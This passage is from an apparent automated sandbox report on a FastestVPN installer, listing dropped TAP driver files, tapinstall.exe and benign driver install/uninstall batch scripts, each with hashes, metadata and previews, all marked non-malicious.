                                                                                                                SHA-256:B339B9A93A93B52F3EA0A5F2161E4B16BDA0CA7396D53ECA14C7D7F3E963A3A3
                                                                                                                SHA-512:DF383B4B70C980C613F3C3EC4E99980DA6DB15F123D617197B644314233D1E2ADEC9F9162D6DBB7B874D885119082E01840102F0976F3CC767A78B5E467EF4A8
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........X...9...9...9...AF..9...AW..9...A@..9...9..f9...AP.9...AY..9.......9...AG..9...AB..9..Rich.9..........................PE..d.....pK.........."......~...........s.......................................p......r.....@.......... ......................................X}..........p.......T....@.......`......0................................................................................text....|.......~.................. ..`.data...x...........................@....pdata..T...........................@..@.rsrc...p...........................@..@.reloc..p....`.......>..............@..B................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\install_tap.bat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):316
                                                                                                                Entropy (8bit):5.3985610361996965
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:kCaFvHBvyXOBS7WFNiKGWxtfGT26BuXFoAyzyFEQRFQ1jt0V09:k9vBv5Y7WCKGWXOT7/+iQjOh0W
                                                                                                                MD5:259CE13E63C08F5198A5D7337DCCC0C0
                                                                                                                SHA1:E25C50EFBC8AF1D70BB42C72CB0D0246EBF6BCBC
                                                                                                                SHA-256:CE97CB0477C8F8F626A50B6935EB817062EC69136443E1F62691700CBC0D4456
                                                                                                                SHA-512:AD5319E8941E90D9C2FA60AD18B8061CAC31D0EE39DFDC1494E1A2B0A1F57AB661F034E6D60D8421FE07FB395B4FAF4F72B1C3C6E9459277A13961FC5EDB2CCC
                                                                                                                Malicious:false
                                                                                                                Preview:@echo OFF..@cd /d %~dp0..set OS=windows;....reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" | find /i "x86" > NUL && set ARCH=i386 || set ARCH=amd64....for /f "tokens=4-5 delims=. " %%i in ('ver') do set VERSION=%%i.%%j..if "%version%" == "10.0" set OS=windows10......call %OS%\%ARCH%\install_tap.bat

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\is-HOJII.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):316
                                                                                                                Entropy (8bit):5.3985610361996965
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:kCaFvHBvyXOBS7WFNiKGWxtfGT26BuXFoAyzyFEQRFQ1jt0V09:k9vBv5Y7WCKGWXOT7/+iQjOh0W
                                                                                                                MD5:259CE13E63C08F5198A5D7337DCCC0C0
                                                                                                                SHA1:E25C50EFBC8AF1D70BB42C72CB0D0246EBF6BCBC
                                                                                                                SHA-256:CE97CB0477C8F8F626A50B6935EB817062EC69136443E1F62691700CBC0D4456
                                                                                                                SHA-512:AD5319E8941E90D9C2FA60AD18B8061CAC31D0EE39DFDC1494E1A2B0A1F57AB661F034E6D60D8421FE07FB395B4FAF4F72B1C3C6E9459277A13961FC5EDB2CCC
                                                                                                                Malicious:false
                                                                                                                Preview:@echo OFF..@cd /d %~dp0..set OS=windows;....reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" | find /i "x86" > NUL && set ARCH=i386 || set ARCH=amd64....for /f "tokens=4-5 delims=. " %%i in ('ver') do set VERSION=%%i.%%j..if "%version%" == "10.0" set OS=windows10......call %OS%\%ARCH%\install_tap.bat

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\is-OTK12.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):302
                                                                                                                Entropy (8bit):5.3909078265911585
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:6vyXOBS7WFNiKGWxtfGT26BuXFoAyzyFEQRFQ1OoKG9:6v5Y7WCKGWXOT7/+iQjOOo1
                                                                                                                MD5:6D857A141F9C245E6ACD7012120A0704
                                                                                                                SHA1:66666950BDB2486C58B1C2D11132A98BF3A54EA8
                                                                                                                SHA-256:992D1891016B4C45BACB4DB700195096F438BB10070484D63088F52E8063EEF7
                                                                                                                SHA-512:8ACE3FA96B4FDA7B036A12EBF8DFC3E8C1FFCF212ED8F2A60FEB64806C26AABF926FF3D02D656EECE10B6F760F846E4196A9116FFF83BC00408697F7C3EEE180
                                                                                                                Malicious:false
                                                                                                                Preview:@echo OFF..set OS=windows;....reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" | find /i "x86" > NUL && set ARCH=i386 || set ARCH=amd64....for /f "tokens=4-5 delims=. " %%i in ('ver') do set VERSION=%%i.%%j..if "%version%" == "10.0" set OS=windows10....call %OS%\%ARCH%\uninstall_tap.bat

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\uninstall_tap.bat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):302
                                                                                                                Entropy (8bit):5.3909078265911585
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:6vyXOBS7WFNiKGWxtfGT26BuXFoAyzyFEQRFQ1OoKG9:6v5Y7WCKGWXOT7/+iQjOOo1
                                                                                                                MD5:6D857A141F9C245E6ACD7012120A0704
                                                                                                                SHA1:66666950BDB2486C58B1C2D11132A98BF3A54EA8
                                                                                                                SHA-256:992D1891016B4C45BACB4DB700195096F438BB10070484D63088F52E8063EEF7
                                                                                                                SHA-512:8ACE3FA96B4FDA7B036A12EBF8DFC3E8C1FFCF212ED8F2A60FEB64806C26AABF926FF3D02D656EECE10B6F760F846E4196A9116FFF83BC00408697F7C3EEE180
                                                                                                                Malicious:false
                                                                                                                Preview:@echo OFF..set OS=windows;....reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" | find /i "x86" > NUL && set ARCH=i386 || set ARCH=amd64....for /f "tokens=4-5 delims=. " %%i in ('ver') do set VERSION=%%i.%%j..if "%version%" == "10.0" set OS=windows10....call %OS%\%ARCH%\uninstall_tap.bat

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\OemVista.inf (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:Windows setup INFormation
                                                                                                                Category:dropped
                                                                                                                Size (bytes):7537
                                                                                                                Entropy (8bit):5.046488463217706
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:wr8tW9yCTi3K4vlQd22bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGMdkxzo3DcNSj6jvKFkinuEQTXvzq
                                                                                                                MD5:50D29CA2E3DDB8A696923420EC2AC4FA
                                                                                                                SHA1:D85F4E65FE10F13DED1780DDBD074EDFC75F2D25
                                                                                                                SHA-256:817DFF7F4944A255A0A33B8D74EB60A755D8D268CC7AFD46FCE41E102E0A004B
                                                                                                                SHA-512:03778A9CDDD23639C88E24BB5D0446DA3A400BB6B3321FB35887CD23D88D0F7AD3FE911642CC7F8D16D29CD9E42106851B0028379E8DBCB3C6721C238FC4A0D3
                                                                                                                Malicious:false
                                                                                                                Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\install_tap.bat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):228
                                                                                                                Entropy (8bit):4.832057381123706
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:hiPFvPuaYkVVkZ0BNLllYYLV3GZ0Q/RLQ8NGN8BP:E9HuaYcyZcNLllYbZh/a8NGNc
                                                                                                                MD5:939DFFC36D36E4C85EE6703C812987E5
                                                                                                                SHA1:3BA5F451B1F5C269B4F51E847DA79A3C619CB9C9
                                                                                                                SHA-256:843C2DFB5FE8DFE7C5266F8F79D1E0AC0BA3E40D5C883D4AF879B6F273B7499E
                                                                                                                SHA-512:8958432897981533C2822AC7355D56FC490EB89157423FAA5DF13A5EC00E75A9E791A3ECF478561C3B13988C553FD739FD2047C37EF91972DBF61AB55D475314
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..echo Removing old TAP driver.....tapinstall.exe remove tap0901 ..echo Installing TAP driver.....tapinstall.exe install OemVista.inf tap0901 ..echo TAP Driver Re-Installation completed successfully!..exit

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-4HA7V.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):39920
                                                                                                                Entropy (8bit):6.333649052940754
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:bCxLEO/+ApBG35KBOXZZoZmTD11a+uiExMFYQjdJxh63NOe:tCI46F1a+jExMFFjzv69
                                                                                                                MD5:059E578D456043A8C3B76EC365B375F3
                                                                                                                SHA1:42189B6A1B8C736397113BFC2283F5E1E1A44E8E
                                                                                                                SHA-256:A0170CF78105CE757E0549D79E4AE7C412240E8B81D262A24D76A047F181F881
                                                                                                                SHA-512:99E6B6AF018D0E3509D9DBE00301A7D5D6645A2070A8144ACFF04842F8BBACCD81E7651578D08F47639CD2B7D00EB64ACDDFA8725BCE9A073580B7FCF7964E6A
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......].........."......Z.....................@....................................P.....`A....................................................<.......X....p..H....x...#...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-4I2HI.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):10711
                                                                                                                Entropy (8bit):7.2254581318251425
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:PqDhDNF748XJCO39JnxrEwJqKkhYCxXA6qnaj/rHr:OXPJxXxkh3xXhlzX
                                                                                                                MD5:225E7BA0E5E2D46813E5C858A4D0D5B0
                                                                                                                SHA1:5DD49014764F634164520583FD0CEC87AB1A1625
                                                                                                                SHA-256:B0BAF5CB84FA4ACB34B77A6231052061DA6B8676D216833724B7A602622161FB
                                                                                                                SHA-512:9C77ADF7E71ACA94489DFEB536F796A017B7C05771962274BAE2C614E2AE6799CCEB36CC58AC470184C37F52DEAC75988BB14E6A329F432C6D7CEDBCA18272A8
                                                                                                                Malicious:false
                                                                                                                Preview:0.)...*.H........).0.)....1.0...`.H.e......0..M..+.....7.....>0..:0...+.....7..........dG.'$....g..191023085812Z0...+.....7.....0..T0.... .}..ID.U..;.t.`.U..h.z.F.......K1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .}..ID.U..;.t.`.U..h.z.F.......K0....._Ne...=.....N.._-%1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0.....D.......L..S.4..b.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... .?;..{.x....H..4...k).VB.......1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... .?;..{.x....H..4...k).VB...........0...0....+.

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-84OSI.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):228
                                                                                                                Entropy (8bit):4.832057381123706
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:hiPFvPuaYkVVkZ0BNLllYYLV3GZ0Q/RLQ8NGN8BP:E9HuaYcyZcNLllYbZh/a8NGNc
                                                                                                                MD5:939DFFC36D36E4C85EE6703C812987E5
                                                                                                                SHA1:3BA5F451B1F5C269B4F51E847DA79A3C619CB9C9
                                                                                                                SHA-256:843C2DFB5FE8DFE7C5266F8F79D1E0AC0BA3E40D5C883D4AF879B6F273B7499E
                                                                                                                SHA-512:8958432897981533C2822AC7355D56FC490EB89157423FAA5DF13A5EC00E75A9E791A3ECF478561C3B13988C553FD739FD2047C37EF91972DBF61AB55D475314
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..echo Removing old TAP driver.....tapinstall.exe remove tap0901 ..echo Installing TAP driver.....tapinstall.exe install OemVista.inf tap0901 ..echo TAP Driver Re-Installation completed successfully!..exit

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-D8IDU.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):142
                                                                                                                Entropy (8bit):4.838122400792552
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:mKDD2G2FuyPuCkjLoOMXrHt9QVVkUoYmdFwLMiREl32AGN8BvAOA:hiPFvPullYkVVkxYmQLNREVNGN8B6
                                                                                                                MD5:012961E4DD4402DA78BC174AF09B77F9
                                                                                                                SHA1:900CA53983FAA217DD134664A9E694138E9A6FDF
                                                                                                                SHA-256:E7D73C9323599320AFA243DB5313F1A55ADFC34EDE66A4A656CA9172BF3C273D
                                                                                                                SHA-512:332A6BA6D1923A020DDB36E6E6FA80141B737ECC51EE52EE0D147B85DBC95DD3E97DA20083EAB3F5218DD9F4CA37DA986D35989F251F72C2512A42CBB6B462B9
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..echo Removing TAP driver.....tapinstall.exe remove tap0901..echo TAP Driver Uninstall completed successfully!..exit..

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-E1J18.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):507728
                                                                                                                Entropy (8bit):6.351404653031349
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:6VF7vR03+4YnfLU6wXnSmZb3lKm34AJ9Qvtk1Ai8mTnu5gtZXqg7VcoyUyHi6/Cw:6VXU/3TNfAkTnrZqkyh/agGxwNdUo1h
                                                                                                                MD5:E313336C82EB265542664CC7A360C5FF
                                                                                                                SHA1:184211A456E09AC606DB76F814332CC912C0F5EB
                                                                                                                SHA-256:B6B33F4CD19C606E4C616F08C11FD4AE775ACCB24B78EF66EB31C279CA403381
                                                                                                                SHA-512:F156F2F55AF7026F5B3D2C5634806C5764FD230521D71969E80BBF6F6571730636DD5F6FE6C1138FA742E12003E5CC5F7D82E729EF7506057F8B510384E52386
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N....cv..cv..cv.Q.r..cv.Q.u..cv.Q.s..cv...s.#cv...r..cv...u..cv.Q.w..cv..cw..cv.~.s..cv.~....cv..c...cv.~.t..cv.Rich.cv.................PE..d......].........."......*...d.......z.........@..........................................`..................................................S..x............... L...x..PG......D.......T............................................@...............................text....).......*.................. ..`.rdata...%...@...&..................@..@.data....(...p.......T..............@....pdata.. L.......N...d..............@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..D............n..............@..B................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-Q0ERH.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:Windows setup INFormation
                                                                                                                Category:dropped
                                                                                                                Size (bytes):7537
                                                                                                                Entropy (8bit):5.046488463217706
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:wr8tW9yCTi3K4vlQd22bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGMdkxzo3DcNSj6jvKFkinuEQTXvzq
                                                                                                                MD5:50D29CA2E3DDB8A696923420EC2AC4FA
                                                                                                                SHA1:D85F4E65FE10F13DED1780DDBD074EDFC75F2D25
                                                                                                                SHA-256:817DFF7F4944A255A0A33B8D74EB60A755D8D268CC7AFD46FCE41E102E0A004B
                                                                                                                SHA-512:03778A9CDDD23639C88E24BB5D0446DA3A400BB6B3321FB35887CD23D88D0F7AD3FE911642CC7F8D16D29CD9E42106851B0028379E8DBCB3C6721C238FC4A0D3
                                                                                                                Malicious:false
                                                                                                                Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tap0901.cat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):10711
                                                                                                                Entropy (8bit):7.2254581318251425
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:PqDhDNF748XJCO39JnxrEwJqKkhYCxXA6qnaj/rHr:OXPJxXxkh3xXhlzX
                                                                                                                MD5:225E7BA0E5E2D46813E5C858A4D0D5B0
                                                                                                                SHA1:5DD49014764F634164520583FD0CEC87AB1A1625
                                                                                                                SHA-256:B0BAF5CB84FA4ACB34B77A6231052061DA6B8676D216833724B7A602622161FB
                                                                                                                SHA-512:9C77ADF7E71ACA94489DFEB536F796A017B7C05771962274BAE2C614E2AE6799CCEB36CC58AC470184C37F52DEAC75988BB14E6A329F432C6D7CEDBCA18272A8
                                                                                                                Malicious:false
                                                                                                                Preview:0.)...*.H........).0.)....1.0...`.H.e......0..M..+.....7.....>0..:0...+.....7..........dG.'$....g..191023085812Z0...+.....7.....0..T0.... .}..ID.U..;.t.`.U..h.z.F.......K1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .}..ID.U..;.t.`.U..h.z.F.......K0....._Ne...=.....N.._-%1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0.....D.......L..S.4..b.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... .?;..{.x....H..4...k).VB.......1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... .?;..{.x....H..4...k).VB...........0...0....+.

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tap0901.sys (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):39920
                                                                                                                Entropy (8bit):6.333649052940754
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:bCxLEO/+ApBG35KBOXZZoZmTD11a+uiExMFYQjdJxh63NOe:tCI46F1a+jExMFFjzv69
                                                                                                                MD5:059E578D456043A8C3B76EC365B375F3
                                                                                                                SHA1:42189B6A1B8C736397113BFC2283F5E1E1A44E8E
                                                                                                                SHA-256:A0170CF78105CE757E0549D79E4AE7C412240E8B81D262A24D76A047F181F881
                                                                                                                SHA-512:99E6B6AF018D0E3509D9DBE00301A7D5D6645A2070A8144ACFF04842F8BBACCD81E7651578D08F47639CD2B7D00EB64ACDDFA8725BCE9A073580B7FCF7964E6A
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......].........."......Z.....................@....................................P.....`A....................................................<.......X....p..H....x...#...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):507728
                                                                                                                Entropy (8bit):6.351404653031349
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:6VF7vR03+4YnfLU6wXnSmZb3lKm34AJ9Qvtk1Ai8mTnu5gtZXqg7VcoyUyHi6/Cw:6VXU/3TNfAkTnrZqkyh/agGxwNdUo1h
                                                                                                                MD5:E313336C82EB265542664CC7A360C5FF
                                                                                                                SHA1:184211A456E09AC606DB76F814332CC912C0F5EB
                                                                                                                SHA-256:B6B33F4CD19C606E4C616F08C11FD4AE775ACCB24B78EF66EB31C279CA403381
                                                                                                                SHA-512:F156F2F55AF7026F5B3D2C5634806C5764FD230521D71969E80BBF6F6571730636DD5F6FE6C1138FA742E12003E5CC5F7D82E729EF7506057F8B510384E52386
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N....cv..cv..cv.Q.r..cv.Q.u..cv.Q.s..cv...s.#cv...r..cv...u..cv.Q.w..cv..cw..cv.~.s..cv.~....cv..c...cv.~.t..cv.Rich.cv.................PE..d......].........."......*...d.......z.........@..........................................`..................................................S..x............... L...x..PG......D.......T............................................@...............................text....).......*.................. ..`.rdata...%...@...&..................@..@.data....(...p.......T..............@....pdata.. L.......N...d..............@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..D............n..............@..B................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\uninstall_tap.bat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):142
                                                                                                                Entropy (8bit):4.838122400792552
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:mKDD2G2FuyPuCkjLoOMXrHt9QVVkUoYmdFwLMiREl32AGN8BvAOA:hiPFvPullYkVVkxYmQLNREVNGN8B6
                                                                                                                MD5:012961E4DD4402DA78BC174AF09B77F9
                                                                                                                SHA1:900CA53983FAA217DD134664A9E694138E9A6FDF
                                                                                                                SHA-256:E7D73C9323599320AFA243DB5313F1A55ADFC34EDE66A4A656CA9172BF3C273D
                                                                                                                SHA-512:332A6BA6D1923A020DDB36E6E6FA80141B737ECC51EE52EE0D147B85DBC95DD3E97DA20083EAB3F5218DD9F4CA37DA986D35989F251F72C2512A42CBB6B462B9
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..echo Removing TAP driver.....tapinstall.exe remove tap0901..echo TAP Driver Uninstall completed successfully!..exit..

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\i386\OemVista.inf (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:Windows setup INFormation
                                                                                                                Category:dropped
                                                                                                                Size (bytes):7533
                                                                                                                Entropy (8bit):5.046821594517318
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:wr8tW9yCTi3K4vlP2bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGTxzo3DcNSj6jvKFkinuEQTXvzaZ
                                                                                                                MD5:3A541F2BF9842CDE6F0C95E83DE14FFA
                                                                                                                SHA1:12C074F03AA19968893F2BE48FDEF42A293B7EE4
                                                                                                                SHA-256:598EAD8481136AB0C8C99E67CA30841DB3C32417B45D6FEEDE04802DB0C4C320
                                                                                                                SHA-512:F060851D26E978AFA6AC632E74C221FB837FDEEE7752762BEE210D7BE144195A27514E108EF8C19A642BC03486E94721BD1B9D4AC69DB26BD892DCAA7894D3D2
                                                                                                                Malicious:false
                                                                                                                Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\i386\install_tap.bat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):228
                                                                                                                Entropy (8bit):4.832057381123706
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:hiPFvPuaYkVVkZ0BNLllYYLV3GZ0Q/RLQ8NGN8BP:E9HuaYcyZcNLllYbZh/a8NGNc
                                                                                                                MD5:939DFFC36D36E4C85EE6703C812987E5
                                                                                                                SHA1:3BA5F451B1F5C269B4F51E847DA79A3C619CB9C9
                                                                                                                SHA-256:843C2DFB5FE8DFE7C5266F8F79D1E0AC0BA3E40D5C883D4AF879B6F273B7499E
